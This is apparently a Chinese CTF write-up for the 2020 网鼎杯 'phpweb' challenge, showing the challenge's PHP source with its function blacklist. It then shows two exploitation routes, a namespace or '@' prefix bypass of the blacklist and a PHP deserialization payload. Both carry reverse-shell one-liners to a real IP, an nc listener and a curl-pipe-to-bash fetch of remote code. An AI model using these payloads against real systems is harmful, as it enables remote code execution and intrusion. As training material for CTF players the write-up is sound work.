[网鼎杯 2020 朱雀组]phpweb

PHP中回调函数:call_user_func()、call_user_func_array()

猜测题中为call_user_func()

常用的几个执行函数都被过滤,而file_get_contents()可以去用来读取源码

<?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }

方法1

1-1

使用 \system 或者 @system 绕过黑名单,进而执行命令

加 \ 指定根命名空间

加 @ 抑制错误显示

@ 运算符只对表达式有效。对新手来说一个简单的规则就是:如果能从某处得到值,就能在它前面加上 @ 运算符。例如,可以把它放在变量,函数和 include() 调用,常量,等等之前。不能把它放在函数或类的定义之前,也不能用于条件结构例如 if 和 foreach 等。
目前的“@”错误控制运算符前缀甚至使导致脚本终止的严重错误的错误报告也失效。这意味着如果在某个不存在或类型错误的函数调用前用了“@”来抑制错误信息,那脚本会没有任何迹象显示原因而死在那里。

1-2

nc -lvnp 9002

echo "bash -i >& /dev/tcp/49.232.213.200/9000 0>&1"|bash

直接post传参(进行url编码)

system()调用/bin/sh,而它指向dash shell (仅指我测试的)

# 查看/bin/sh指向
ls -l /bin/sh
# lrwxrwxrwx 1 root root 4 Apr 23  2020 /bin/sh -> dash

dash中自然需要适合自己的语法,而bash -i >& /dev/tcp/49.232.213.200/9000 0>&1不符合其语法,所以需要指定其他shell(如bash)来执行反弹shell(或者想办法搞出一个dash反弹shell)

func=\system&p=echo "bash -i >& /dev/tcp/49.232.213.200/9000 0>&1"|bash
			  bash -c "bash -i >& /dev/tcp/49.232.213.200/9000 0>&1"

或者远程shell

func=\system&p=curl http://49.232.213.200/1.txt|bash

方法2

2-1

普通的反序列化

unserialize + 序列化后的字符串

<?php
class Test{
    var $p = "ls";
    var $func = "system";
}

$a = new Test();
$b = serialize($a);
echo $b;

echo "\n\n\n\n";
$c = urlencode($b);
echo $c;

2-2

用上 reverse shell 的反序列化

<?php
class Test
{
    var $p = 'echo "bash -i >& /dev/tcp/49.232.213.200/9000 0>&1"|bash';
    var $func = "system";
}

$a = new Test();
$b = serialize($a);
echo $b;

echo "\n\n\n\n";
$c = urlencode($b);
echo $c;
posted @   NwN  阅读(118)  评论(2编辑  收藏  举报
相关博文:
阅读排行:
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· AI编程工具终极对决:字节Trae VS Cursor,谁才是开发者新宠?
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
点击右上角即可分享
微信分享提示